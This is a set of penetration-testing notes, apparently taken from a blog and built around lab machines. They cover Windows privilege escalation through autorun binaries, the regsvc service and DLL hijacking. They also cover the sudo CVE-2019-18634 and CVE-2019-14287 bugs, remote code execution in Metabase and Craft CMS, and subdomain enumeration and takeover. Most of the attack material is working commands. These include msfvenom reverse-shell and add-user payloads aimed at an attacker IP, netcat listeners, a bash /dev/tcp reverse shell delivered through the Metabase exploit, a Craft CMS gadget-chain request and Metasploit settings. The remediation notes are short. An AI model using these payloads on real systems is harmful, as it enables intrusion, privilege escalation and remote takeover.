    • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce
    • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx

    Registry keys known as Run and RunOnce are designed to automatically execute programs every time a user logs into the system. The command line assigned as a key’s data value is limited to 260 characters or less.

    Since we are only interested in the machine startup keys, these are the default keys we want to query:

    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

    There are also some additional keys that do not exist by default; however, they should also be queried because they may have been manually created:

    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\R
    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunEx
    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

    Identify

    1. First identify the type of architecture you are dealing with

    • systeminfo | findstr /B /C:”Host Name” /C:”OS Name” /C:”OS Version” /C:”System Type” /C:”Hotfix(s)”

    2. Download into the target machine Sysinternals AutoRun (https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns)

    • Click on Logon tab

    Note: The objective for us as an attacker is to use this tool to find any outliers. Most of the time we will find that programs execute from some directory extended from the systemroot (C:\Windows), which will likely be un-writable; however, finding a program that executes from any another location is worth investigating.

    3. Query this registry hive

    • reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    Powershell

    • Get-Item -Path Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    https://juggernaut-sec.com/wp-content/uploads/2022/05/image-270.png

    4. Check the permissions on this program, we need to verify we can modify it. (“Everyone” user group has “FILE_ALL_ACCESS” permission on the “program.exe” file.)

    AccessChk (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

    • .\accesschk64.exe -wvu “C:\Program Files\Autorun Program”

    ICACLS

    • icacls c:\program files\autorun program\program.exe

    Note: What we are looking for on the executable is any one of three specific permissions:

    • (F) Full Control
    • (M) Modify
    • (W) Write

    The user / group permissions we are looking for are the following:

    • Authenticated Users
    • Everyone
    • BUILTIN\Users
    • NT AUTHORITY\INTERACTIVE

    WinPEAS (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)

    https://atom.hackstreetboys.ph/content/images/2020/06/Screen-Shot-2020-06-15-at-3.46.19-PM.png

    PowerUp (https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)

    https://juggernaut-sec.com/wp-content/uploads/2022/05/image-272.png

    Exploitation

    1. Create a reverse shell payload, to replace the original program at the location

    • msfvenom -p windows/shell_reverse_tcp LHOST=10.9.239.141 LPORT=7777 -a x64 –platform Windows -f exe -o program.exe

    2. Start a local listener

    • nc -lvp 7777

    3. Transfer the file into the target machine, and, move it into the target folder, in this case (C:\Program Files\Autorun Program)

    Note: Remember to back up the original file.

    4. Now wait for another user to log in, once, someone logs the listener should receive a connection back.

    • whoami

    Recommendations

    To mitigate the risks associated with Autorun-related registry manipulation, consider the following steps:

    • Least privilege principles: Assign privileges to user that must modify the binary files
    • Regular Registry Audits: Regularly audit the registry for unusual or unauthorized changes. Monitoring tools and scripts can help detect suspicious modifications to Autorun-related registry keys.
    • Restrict User Access: Limit user access to sensitive registry keys using permissions and access controls. Restricting write access to Autorun-related registry keys can prevent unauthorized modifications.
    • Disable Autorun: As mentioned earlier, disabling Autorun altogether can prevent malware from exploiting Autorun-related registry entries. This can be done through Group Policy settings or by modifying registry keys directly.
    • Use Antivirus and Endpoint Protection: Employ antivirus and endpoint protection solutions that monitor and block suspicious activity, including unauthorized modifications to the registry.

    Sources

    https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries

    https://juggernaut-sec.com/autorun-startup-registry-keys/

    https://atom.hackstreetboys.ph/windows-privilege-escalation-registry-exploits/

    https://steflan-security.com/windows-privilege-escalation-exploiting-autorun/

    [Privilege escalation] Registry Service Account (regsvc)

    The Regsvc service, also known as Remote Registry Service, enables remote access to the Windows registry. It allows users to connect to the registry of a remote computer and perform operations such as reading, writing, and modifying registry keys and values. While the service is designed to facilitate legitimate administrative tasks, it can be exploited by attackers to escalate privileges and compromise the security of a system.

    An attacker can leverage this misconfiguration to modify the ImagePath of service with the path of the custom malicious executable that will give an escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

    Note: Service should be restarted to make changes effective.

    Identify

    1. Check access using Sysinternals AccessChk (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

    • accesschk64.exe -kw hklm\System\CurrentControlSet\Services
    • accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
    • accesschk64.exe -kw hklm\System\CurrentControlSet\Services > result.txt
    • type result.txt | more

    https://miro.medium.com/v2/resize:fit:536/1*Ra3liW0iHNyaDaXY8ZVUoA.png

    2. We can see that the NT Authority\Interactive has write access to the registry key “regsvc”. For further information regarding regsvc, we can query the registry by typing the following command:

    • reg query hklm\System\CurrentControlSet\Services\regsvc

    https://miro.medium.com/v2/resize:fit:805/1*CyX6-jZq-G90-gT4cX-Png.png

    Note: We can modify the ImagePath of the key and point it to our malicious custom executable.

    Exploitation

    1. As we know that the ImagePath is writeable, we create a windows TCP reverse shell using msfvenom on the attacking machine.

    • msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > malware.exe
    • msfvenom -p windows/adduser USER=hacker PASS=password -f exe > malware.exe

    2. Transfer the file to the target machine, then store it in Temp folder

    • move malware.exe C:\Temp
    • dir

    3. Start a listener in your local machine

    • nc -lvp 5555

    4. Now, we will modify the ImagePath value for the regsvc registry and set it as the path of the custom executable “malware.exe”. This can be done by running the following command in the Windows command shell:

    Move the file into the target location (C:\Program Files\Insecure Registry Service\)

    • reg add “HKLM\SYSTEM\CurrentControlSet\services\regsvc” /t REG_EXPAND_SZ /v ImagePath /d “C:\Temp\malware.exe” /f

    5. Now verify it has been added to the registry

    • reg query hklm\System\CurrentControlSet\Services\regsvc

    6. We can execute malicious payload by restarting\starting the service regsvc.

    • sc start regsvc
    • net start regsvc

    7. We should now get the program executed, and, the reverse shell should be working

    Remediation Strategies:

    • Access Controls: Restrict access to the Regsvc service and its associated registry keys to authorized users and administrators. Use strong authentication mechanisms and enforce the principle of least privilege.
    • DLL Safe Loading: Configure Windows to use safe DLL loading practices, which help prevent DLL hijacking attacks by specifying the exact locations from which DLLs can be loaded.
    • Monitoring and Logging: Implement robust logging and monitoring mechanisms to detect unauthorized access attempts to the Regsvc service and suspicious activities related to registry manipulation.
    • Disable Unnecessary Services: Disable the Regsvc service if it is not required for legitimate administrative tasks, reducing the attack surface and minimizing the risk of exploitation.

    Detection

    We can log windows event ID 4657 to detect any modification made to the registry keys. If modification occur in ImagePath, it will be refelected in event Id 4657.

    Source

    https://systemweakness.com/windows-privilege-escalation-weak-registry-permissions-9060c1ca7c10

    https://github.com/xXxhagenxXx/OSCP_Cheat_sheet/blob/main/Windows%20Privilege%20Escalation%20Techniques.md

    https://g10s.io/windows-privilege-escalation-services/

    https://pswalia2u.medium.com/windows-privilege-escalation-via-misconfigured-services-ea4c01cac89c

    [Privilege Escalation] DLL Hijacking

    DLL Hijacking is a type cyberattack where a malicious actor takes advantage of a system’s search order for dynamic link libraries (DLL) to load and execute malicious code instead of legitimate libraries. In other words, it refers to tricking a program to load a harmful code library instead of the intended safe one. Before going into details, let’s take a look at DLL Files.

    What is a DLL file?

    DLL (stands for dynamic link library) is a file containing reusable code and data which multiple programs can use at the same time to perform different functions, improving efficiency and modularity in software development.

    Imagine you have a box of LEGO bricks. Each brick functions as a unique tool that may be used for a variety of activities. Now, certain tools are kept in smaller boxes with names like “drawing tools,” “building tools,” and so on instead of everything being kept in one large box.

    Similar to those smaller boxes with labeling are DLLs. It is a set of resources that various software applications may use. When a software requires a tool, it searches for it in the appropriate named box (DLL). As you would choose the appropriate LEGO set to discover the appropriate tool for the job. One DLL file can be used by different programs at the same time.

    Dynamic-link library is Microsoft’s implementation of the shared library concept in the Microsoft Windows, so if you want to know more about this concept, you can search for “shared libraries”.

    How DLL Works?

    At this point we know what a DLL is and why it is used. Below let’s see how a DLL works after you click a program that requires it step by step.

    Loading dll into memory

    After you click on a executable (.exe), the operating system (OS) loads the program into memory and starts its execution. If the program requires a DLL, the operating system will first need to load the DLL into memory. This is done by searching for the DLL in a few different locations, such as the system directory, the program directory, and the current directory. Once the DLL is found, it is loaded into memory and made available to the program.

    Load-time vs. run-time dynamic linking

    When you load a DLL in an application, two methods of linking let you call the exported DLL functions. The two methods of linking are load-time dynamic linking and run-time dynamic linking. — From MS Learn

    Load time linking

    • The linker resolves all the references to functions and variables in the DLL at compile time.
    • This means that the program can call functions in the DLL directly, without having to load the DLL into memory at runtime.
    • This makes executable file bigger, but makes the program faster.

    Runtime linking

    • The linker does not resolve all the references to functions and variables in the DLL at compile time.
    • Instead, it creates a stub in the program’s executable file that calls the LoadLibraryEx function to load the DLL into memory at runtime.
    • The program can then call functions in the DLL by calling the GetProcAddress function to get the address of the function in the DLL.
    • This makes the program’s executable file smaller, but it also makes the program slower.
    • DLL Search Order
    • When you start an .exe file file that requires a DLL, The DLL loader (is a part of the operating system) starts searching for that specific DLL on the system. The files are searched according to certain rules, known as DLL Search Order.

    The default DLL search order for Windows is as follows:

    • The directory from which the application is loaded.
    • The system directory. (example: “C:\Windows\System32″)
    • The Windows Directory (“C:\Windows.”)
    • The current directory.
    • Directories Listed in the system PATH Environment Variable
    • Directories in the user PATH environment variable
    • The directories that are listed in the PATH environment variable.

    That is the default search order with SafeDllSearchMode enabled. When it’s disabled the current directory escalates to second place. To disable this feature, create the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode registry value and set it to 0 (default is enabled).

    This concept is critical in DLL hijacking. During this process, we can inject our own malicious DLLs into locations where DLL Loader searches for the innocent DLL.

    DLL Hijacking

    After having an idea about DLL files and their working mechanism, we can dig into the concept of DLL hijacking.

    What is the idea of DLL hijacking?

    Most of the time the main idea is to exploit the search order that programs use to find and load DLLs. An attacker can mislead a software into loading harmful code instead of the genuine DLL by inserting a malicious DLL in a spot where the program looks for DLLs. This way an attacker can escalate privileges and gain persistence on the system.

    there are several options, and the effectiveness of each depends on how the program is set up to load the necessary DLLs. Potential strategies include:

    Phantom DLLs: It works by placing a fake malicious DLL with a name similar to a legitimate one in a directory where a program searches for DLLs, potentially causing the program to load the malicious phantom DLL instead of the intended legitimate DLL.

    DLL replacement: In DLL replacement the attacker tries to swap out a legitimate DLL with a malicious one. It can be combined with DLL Proxying.

    DLL Search Order Hijacking: In a search order hijacking attack, an attacker manipulates the order in which a program looks for dynamic link libraries (DLLs), allowing them to store a malicious DLL at a location that the program searches first, resulting in the malicious DLL being loaded instead of the genuine one.

    DLL Side Loading Attack: Attackers may use side-loading DLLs to run their own malicious payloads. Side-loading includes controlling which DLL a program loads, similar to DLL Search Order Hijacking. However, attackers may directly side-load their payloads by putting a legitimate application in the search order of a program, then calling it to execute their payload(s), as opposed to just planting the DLL and waiting for the victim application to be executed.

    Finding Missing DLL Files

    Missing DLL files are a great opportunity for attackers to take advantage of their absence. If a DLL is missing from the system, they can try to place an imitation of the original DLL to use for their own purposes, including escalating privileges.

    WinPEAS

    1. Automated scripts such as WinPEAS can also help identify Weak Permissions in services:

    • winpeas.exe quiet servicesinfo

    https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/03/image-283.png?w=800&ssl=1

    2. It also tests the paths to know which ones are writable

    https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/03/image-282.png?w=800&ssl=1

    ProcMon

    Process Monitor can be used to track down failed DLL loadings in the system. Here’s how to do it step by step:

    1. Download Process Monitor from (https://learn.microsoft.com/en-us/sysinternals/downloads/procmon)

    2. Run “pocmon.exe” as Administrator.

    3. Click the filter button in the top.

    4. You need to add two filters.

    • Result is NAME NOT FOUND Include
    • PATH ends with .dll Include

    5. Click on Apply and OK

    6. Now you can see a list of missing DLL’s in various processes. These load failures can be exploited by attackers in DLL Hijacking.

    Note: It is important to meet these requirements for DLL hijacking

    • You can control the service
    • The location should be writable

    If you are looking for missing dlls in general you leave this running for some seconds.

    If you are looking for a missing dll inside an specific executable you should set another filter like “Process Name” “contains” “<exec name>”, execute it, and stop capturing events.

    Test file paths

    1. Display the directories that are part of the environmental path

    • echo %PATH%

    2. Test each of the directories looking for write permissions

    • acacls <folder>
    • acacls C:\Temp

    NOTE: The main icacls permissions are as follows:

    • F – Full access
    • M– Modify access
    • RX – Read and execute access
    • R – Read-only access
    • W – Write-only access

    3. You can also check permissions using SysInternals AccessChk

    • Accesschk.exe -accepteula -dqv [directory]
    • .\accesschk64.exe -accepteula -dqv C:\Temp

    PowerUp

    1. PowerUp helps you identify PATHs permissions

    • Invoke-AllChecks

    Check the Service Info

    1. We can also check all the services, and filter by the executable name found in ProcMon

    • wmic service get name,pathname,displayname,startmode | findstr /i dllhijackservice.exe

    2. In order to list the services you can use

    • Get-Service

    3. With the following command we can verify whether the current user has permission to restart the service

    • sc sdshow [service]
    • sc sdshow dllsvc

    The initial “D:” stands for Discretionary ACL (DACL). The first letter after brackets means: allow (A) or deny (D), the next set of symbols are the assignable permissions:

    • CC — SERVICE_QUERY_CONFIG (request service settings)
    • LC — SERVICE_QUERY_STATUS (service status polling)
    • SW — SERVICE_ENUMERATE_DEPENDENTS
    • LO — SERVICE_INTERROGATE
    • CR — SERVICE_USER_DEFINED_CONTROL
    • RC — READ_CONTROL
    • RP — SERVICE_START
    • WP — SERVICE_STOP
    • DT — SERVICE_PAUSE_CONTINUE

    Note: In this case the current user has access to stop and start the service.

    Exploiting Missing Dlls

    In order to escalate privileges, the best chance we have is to be able to write a dll that a privilege process will try to load in some of place where it is going to be searched. Therefore, we will be able to write a dll in a folder where the dll is searched before the folder where the original dll is (weird case), or we will be able to write on some folder where the dll is going to be searched and the original dll doesn’t exist on any folder.

    Prerequisites:

    • Know the not found dll name: hijackme.dll
    • Know the path of the dll: C:\temp
    • Know you have permissions over the service and folder

    1. The first step is to generate some shellcode using MSFvenom with the following flags:

    • msfvenom -p windows/shell_reverse_tcp LHOST=10.9.239.141 LPORT=1111 -f dll > hijackme.dll

    2. Start a listener in the local machine

    • nc -lvp 1111

    3. Transfer the file into the target machine

    4. Move the file into the target folder, in this case C:\Temp

    • move hijackme.dll C:\Temp

    5. Assign permissions for everyone to execute

    6. Now restart the service

    • sc stop dllsvc
    • sc start dllsvc

    7. Check the listener

    Recommendations

    Specify Full Paths: Always specify the full path when loading DLLs in your code rather than relying on the system’s search order. This ensures that the application loads the intended DLL from the expected location.

    Use Safe DLL Loading Functions: When loading DLLs dynamically in your code, use functions like LoadLibraryEx with the LOAD_WITH_ALTERED_SEARCH_PATH flag or SetDllDirectory to explicitly specify the directories where DLLs should be loaded from. These functions allow you to control the search order and mitigate DLL hijacking vulnerabilities.

    Avoid Loading DLLs from Insecure Locations: Avoid loading DLLs from directories that are writable by standard users or that are commonly targeted by attackers (such as the current working directory or temporary directories).

    References

    https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking

    https://www.elladodelmal.com/2021/04/que-es-una-dll-y-en-que-consiste-el-dll.html

    https://keepcoding.io/blog/que-es-el-hijacking-de-dll/

    https://medium.com/@zapbroob9/dll-hijacking-basics-ea60b0f2a1d8

    https://www.okta.com/sg/identity-101/dll-hijacking/

    https://steflan-security.com/windows-privilege-escalation-dll-hijacking/

    https://systemweakness.com/windows-privilege-escalation-hijacking-dlls-c2f26168bf37

    https://www.kayssel.com/post/dll-hijacking/

    (CVE-2019-18634)[Privilege Escalation] Sudo 1.8.25p (pwfeedback) Buffer Overflow

    In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process

    Sudo’s pwfeedback option can be used to provide visual feedback when the user is inputting their password. For each key press, an asterisk is printed. This option was added in response to user confusion over how the standard Password: prompt disables the echoing of key presses.

    While pwfeedback is not enabled by default in the upstream version of sudo, some systems, such as Linux Mint and Elementary OS, do enable it in their default sudoers files.

    Due to a bug, when the pwfeedback option is enabled in the sudoers file, a user may be able to trigger a stack-based buffer overflow. This bug can be triggered even by users not listed in the sudoers file. There is no impact unless pwfeedback has been enabled.

    Inside the /etc/sudoers file ipwfeedback is specified like this:

    The following sudoers configuration is vulnerable:

    Affected Version

    Sudo before 1.8.26

    Identification

    1. Print the version of sudo

    • sudo –version

    2. Test if the asterisks appear on screen, by using any command with sudo

    • sudo whoami

    2. Check sudo permissions for the current user

    • sudo -l

    Exploitation (Script)

    1. Knowing the application is vulnerable and has pwfeedback enabled in /etc/sudoers configuration. We can execute the following script written in C (https://github.com/saleemrashid/sudo-cve-2019-18634)

    • git clone https://github.com/saleemrashid/sudo-cve-2019-18634.git

    2. Now proceed to compile the source code

    • cd sudo-cve-2019-18634
    • gcc exploit.c -o exploit
    • ls -l exploit

    3. Transfer the file into the target machine

    4. Execute the exploit

    • ./exploit
    • Whoami

    Remedy

    Upgrade SUDO software to 1.8.27 or later

    Reference

    https://github.com/saleemrashid/sudo-cve-2019-18634

    https://nvd.nist.gov/vuln/detail/CVE-2019-18634

    https://github.com/Plazmaz/CVE-2019-18634

    https://www.exploit-db.com/exploits/47995

    https://www.exploit-db.com/exploits/48052

    (CVE-2019-14287)[Privilege Escalation] sudo 1.8.27 – Security Bypass

    Sudo could allow a local authenticated attacker to bypass security restrictions, caused by an issue with running commands with arbitrary user ID. By using the ALL keyword in a Runas specification, an attacker could exploit this vulnerability to bypass security restrictions and execute arbitrary command on the system with root privileges.

    When sudo is configured to allow a user to run commands as an arbitrary user via the ALL keyword in a Runas specification, it is possible to run commands as root by specifying the user ID -1 or 4294967295.

    This can be used by a user with sufficient sudo privileges to run commands as root even if the Runas specification explicitly disallows root access as long as the ALL keyword is listed first in the Runas specification.

    Log entries for commands run this way will list the target user as 4294967295 instead of root. In addition, PAM session modules will not be run for the command.

    How this works

    For example, sudo would usually be used like so: sudo <command>, but you could manually choose to execute it as another user like this: sudo -u#<id> <command>. This means that you would be pretending to be another user when you executed the chosen command, which can give you higher permissions than you might otherwise have had.

    Say you have a user who you want to grant extra permissions to. You want to let this user execute a program as if they were any other user, but you don’t want to let them execute it as root. You might add this line to the sudoers file:

    • <user> ALL=(ALL:!root) NOPASSWD: ALL

    With the above configuration, using sudo -u#0 <command> (the UID of root is always 0) would not work, as we’re not allowed to execute commands as root. If we try to execute commands as user 0 we will be given an error.

    if you specify a UID of -1 (or its unsigned equivalent: 4294967295), Sudo would incorrectly read this as being 0 (i.e. root). This means that by specifying a UID of -1 or 4294967295, you can execute a command as root, despite being explicitly prevented from doing so. It is worth noting that this will only work if you’ve been granted non-root sudo permissions for the command, as in the configuration above.

    Affected Products

    Sudo 1.8.27

    Identify

    1. Print the version of sudo program running

    • sudo –version

    2. Query sudo against your user, there should be at least an entry with (ALL, !root), Say you have a user who you want to grant extra permissions to. You want to let this user execute a program as if they were any other user, but you don’t want to let them execute it as root.

    • sudo -l

    Note:

    • (ALL, !root): This part specifies the users and groups to which the rule applies. In this case, it applies to all users except for the user root. The ALL keyword means all users, and !root means “except for root”. So, this rule applies to all users except root.
    • NOPASSWD: This keyword indicates that the specified users/groups can execute the command without entering a password. In this case, the command is /bin/bash.
    • /bin/bash: This is the command or executable that the specified users/groups are allowed to run with sudo privileges without entering a password. In this case, it allows running the Bash shell (/bin/bash) without requiring a password.

    Exploitation

    1. With ALL specified, the trychackme user can run the binary /bin/bash as any user, so lets execute sudo command like this

    • sudo -u#0 <command>
    • sudo -u#-1 /bin/bash
    • whoami && hostname && date

    2. Now you can see we became root user, Sudo doesn’t check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv

    • -u#-1 returns as 0 which is root’s id

    Remedy

    Upgrade to the latest version of Sudo (1.8.28 or later)

    References

    https://tryhackme.com/r/room/sudovulnsbypass

    https://seclists.org/oss-sec/2019/q4/18

    https://www.exploit-db.com/exploits/47502

    https://packetstormsecurity.com/files/154857

    (CVE-2023-38646)[Privilege Escalation] Metabase Pre-auth RCE

    Metabase is an open-source business intelligence (BI) and analytics tool that enables organizations to create and share dashboards and reports based on their data. It provides a user-friendly interface for exploring and visualizing data without requiring extensive technical knowledge or coding skills.

    Metabase could allow a remote attacker to execute arbitrary commands on the system, caused by an unspecified flaw. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system.

    Affected Products

    Metabase Metabase 0.45.4

    Metabase Metabase 0.44.7

    Metabase Metabase 0.43.7

    Metabase Metabase 1.43.7

    Metabase Metabase 0.46.6

    Metabase Metabase 1.44.7

    Metabase Metabase 1.45.4

    Identification

    1. Navigating to /api/session/properties we can find the platform version

    • http://data.analytical.htb/api/session/properties

    2. You can also use curl & jq to filter the output from CLI

    • curl -X GET http://data.analytical.htb/api/session/properties | jq “.version”

    Exploitation #1 – Script

    1. Having confirmed the vulnerable version, we can proceed to get the setup-token from /api/session/properties

    • http://data.analytical.htb/api/session/properties

    2. We can proceed to use the exploit (https://github.com/m3m0o/metabase-pre-auth-rce-poc/tree/main) , this required the URL of the Metabase platform, the setup-token and a command

    • git clone https://github.com/m3m0o/metabase-pre-auth-rce-poc.git
    • cd metabase-pre-auth-rce-poc
    • ls

    3. Run the script help menu

    • python3 main.py -h

    4. We will first test the ability to execute commands, so we will try pinging our machine, first capture traffic in your network card, (ICMP)

    • ifconfig
    • sudo tcpdump -i tun0 icmp

    5. now run the script with ping command with the IP of our network card

    • python3 main.py -u http://data.analytical.htb -t “249fa03d-fd94-4d5b-b94f-b4ebf3df681f” -c “ping -c 2 10.10.14.166”

    6.You should now receive traffic in tcpdump

    7. Knowing we can execute commands we can try to execute a reverse shell, first, start a listener in your local computer

    • nc -lvp 4444

    8. Now execute the script with the reverse shell payload

    • python3 main.py -u http://data.analytical.htb -t “249fa03d-fd94-4d5b-b94f-b4ebf3df681f” -c “bash -i >& /dev/tcp/10.10.14.166/4444 0>&1”

    9. Now you should check your listener, and the connection should be received

    • whoami

    Exploitation #2 – Metasploit

    1. We can also use metasploit to exploit this vulnerability (metabase_setup_token_rce)

    • use exploit/linux/http/metabase_setup_token_rce
    • show options

    2. Fill the required information

    • set RPORT 80
    • set RHOSTS data.analytical.htb
    • set LHOST 10.10.14.166

    3. Run the exploit

    • exploit

    Remedy

    Metabase must upgrade to fixed versions (0.46.6.1, 1.46.6.1, or later)

    • Patching: Regularly update Metabase to the latest version to apply security patches.
    • Security Best Practices: Follow security best practices for deployment, including the use of firewalls, intrusion detection systems, and regular security audits.

    Reference

    https://infosecwriteups.com/cve-2023-38646-metabase-pre-auth-rce-866220684396

    https://github.com/shamo0/CVE-2023-38646-PoC

    https://github.com/m3m0o/metabase-pre-auth-rce-poc/blob/main/main.py

    https://www.restack.io/docs/metabase-knowledge-metabase-rce-poc-github

    https://exchange.xforce.ibmcloud.com/vulnerabilities/261403

    [Exploitation](CVE-2023-41892) Craft CMS code execution (Unauthenticated)

    Craft CMS could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a flaw in the Craft installations. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system.

    The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class which allows to run arbitrary PHP code by escalating the object creation calling some methods available in `\GuzzleHttp\Psr7\FnStream`.

    Using this vulnerability in combination with The Imagick Extension and MSL which stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that facilitates the reading of images, performance of image processing tasks, and writing of results back to the filesystem.

    This can be leveraged to create a dummy image containing malicious PHP code using the Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious PHP code and gaining access to the system.

    Affected Products

    • Craft CMS Craft CMS 4.4.14
    • affected at >= 4.0.0-RC1, <= 4.4.14

    Identification

    Wappalyzar

    Source Code

    • curl http://website.com

    • curl http://website.com –i

    HTTP headers (Proxy)

    Manual (Proxy)

    1. You can capture a HTTP request, and modify the data. Make sure the method is correct

    • action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={“name”:”test[userCondition]”,”as xyz”:{“class”:”\\GuzzleHttp\\Psr7\\FnStream”,”__construct()”:[{“close”:null}],”_fn_close”:”phpinfo”}}

    2. The response should include the phpinfo() data

    Exploitation (Script)

    1. This vulnerability can be exploited using a script (https://github.com/Faelian/CraftCMS_CVE-2023-41892), download it using git

    • git clone https://github.com/Faelian/CraftCMS_CVE-2023-41892.git

    2. Run craft-cms.py (sometimes you need to modify the source code for the webshell to be uploaded to a writable folder)

    • python3 craft-cms.py http://surveillance.htb

    3. You can also run commands from shell.php (http://surveillance.htb/shell.php?cmd=whoami)

    Important: remember to delete this file after your assessment. You can also upload a webshell having already the chance to execute commands.

    Exploitation (Metasploit)

    1. The exploit (craftcms_unauth_rce_cve_2023_41892) can be used to exploit this vulnerability and get a reverse shell

    • use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892
    • show options

    2. Set the options

    • set RHOSTS surveillance.htb
    • set LHOST tun0

    3. (OPTIONAL) Modify the port and SSL, in my case the website was using port 80, without SSL

    • set RPORT 80
    • set SSL false

    4. (OPTIONAL), set the function to inject our payload

    • set command system

    5. Run the exploit

    • run

    Remedy

    Upgrade to the latest version of Craft CMS (3.8.15, 4.4.15 or later)

    Besides applying the patch rotate the CRAFT_SECURITY_KEY immediately. knowing the key will lead to an unauthenticated RCE on a widely used CraftCMS plugin, and there may be more.

    Reference

    https://www.cve.org/CVERecord?id=CVE-2023-41892

    https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g

    https://github.com/craftcms/cms/commit/7359d18d46389ffac86c2af1e0cd59e37c298857

    https://github.com/craftcms/cms/commit/a270b928f3d34ad3bd953b81c304424edd57355e

    https://github.com/craftcms/cms/commit/c0a37e15cc925c473e60e27fe64054993b867ac1

    https://github.com/craftcms/cms/commit/c0a37e15cc925c473e60e27fe64054993b867ac1#diff-47dd43d86f85161944dfcce2e41d31955c4184672d9bd9d82b948c6b01b86476

    https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#4415—2023-07-03-critical

    https://packetstormsecurity.com/files/176303/Craft-CMS-4.4.14-Remote-Code-Execution.html

    https://www.rapid7.com/db/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892/

    https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226

    [Active – Information Gathering] Finding Sub-Domains with AssetFinder

    Find domains and subdomains potentially related to a given domain.

    Installation

    1. You need to install GoLang, alternatively you can use a script pimpmykali (https://github.com/Dewalt-arch/pimpmykali)

    • Choose: 3 – Fix Golang

    2. If GoLang is already installed

    • apt install assetfinder

    3. Display the help menu

    • assetfinder –help

    How to use

    1. You can set a domain to find all entries related to it. This option usually display a lot of unrelated records

    • assetfinder tesla.com
    • assetfinder <Domain>

    2. To have some more accurate result use the (–subs-only) flag

    • assetfinder –subs-only tesla.com

    [Active – Information Gathering] Finding Sub-Domains with Amass

    The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques.

    Amass comes installed in the latest Kali Linux, if you need to install it follow the official guide

    https://github.com/owasp-amass/amass/blob/master/doc/install.md

    https://github.com/owasp-amass/amass/blob/master/doc/user_guide.md

    How to use

    1. Display help menu

    • amass -h

    2. Enumerate for sub domains

    • amass enum -d tesla.com

    Amass Intel

    1. The amass intel gathers basic information against the target using various other tools, It find IPv4 IPv6 addr and basic whois informations.

    • amass intel -d owasp.org -whois

    2. Using Amass, you have the option to search for organizational names. This search can yield ASN IDs that have been assigned to the target.

    • amass intel -org ‘google’

    We can see that we have retrieved asn numbers, Let’s try using the asn id against the target. Here the -active mean it choose the way it want to scan the target. It can be the google index or webmaster index and much more.

    • amass intel -active -asn 44384 -ip

    Amass Enum

    1. The enum option in amass will enumerate DNS services and also mapping around the network.

    • amass enum -passive -d google.com -src

    2. We can also brute force the subdomains and try to get in, Let’s see how to do that ???? For EDUCATIONAL purpose only.

    • amass enum -active -d google.com -brute -w /usr/share/wordlists/amass/all.txt

    Sources

    https://techyrick.com/amass-full-tutorial/

    https://github.com/owasp-amass/amass/blob/master/doc/tutorial.md

    [Active – Information Gathering] Subdomain take over

    Subjack is a Subdomain Takeover tool written in Go designed to scan a list of subdomains concurrently and identify ones that are able to be hijacked. With Go’s speed and efficiency, this tool really stands out when it comes to mass-testing. Always double check the results manually to rule out false positives.

    Subjack will also check for subdomains attached to domains that don’t exist (NXDOMAIN) and are available to be registered. No need for dig ever again! This is still cross-compatible too.

    Subdomain takeover vulnerabilities occur when a subdomain (subdomain.example.com) is pointing to a service (e.g. GitHub pages, Heroku, etc.) that has been removed or deleted. This allows an attacker to set up a page on the service that was being used and point their page to that subdomain. For example, if subdomain.example.com was pointing to a GitHub page and the user decided to delete their GitHub page, an attacker can now create a GitHub page, add a CNAME file containing subdomain.example.com, and claim subdomain.example.com.

    https://github.com/haccer/subjack

    There are several tools with dictionaries to check for possible takeovers:

    Subdomain Takeover Generation via DNS Wildcard

    When DNS wildcard is used in a domain, any requested subdomain of that domain that doesn’t have a different address explicitly will be resolved to the same information. This could be an A ip address, a CNAME…

    • For example, if *.testing.com is wilcarded to 1.1.1.1. Then, not-existent.testing.com will be pointing to 1.1.1.1.

    However, if instead of pointing to an IP address, the sysadmin point it to a third party service via CNAME, like a github subdomain for example (sohomdatta1.github.io). An attacker could create his own third party page (in Gihub in this case) and say that something.testing.com is pointing there. Because, the CNAME wildcard will agree the attacker will be able to generate arbitrary subdomains for the domain of the victim pointing to his pages.

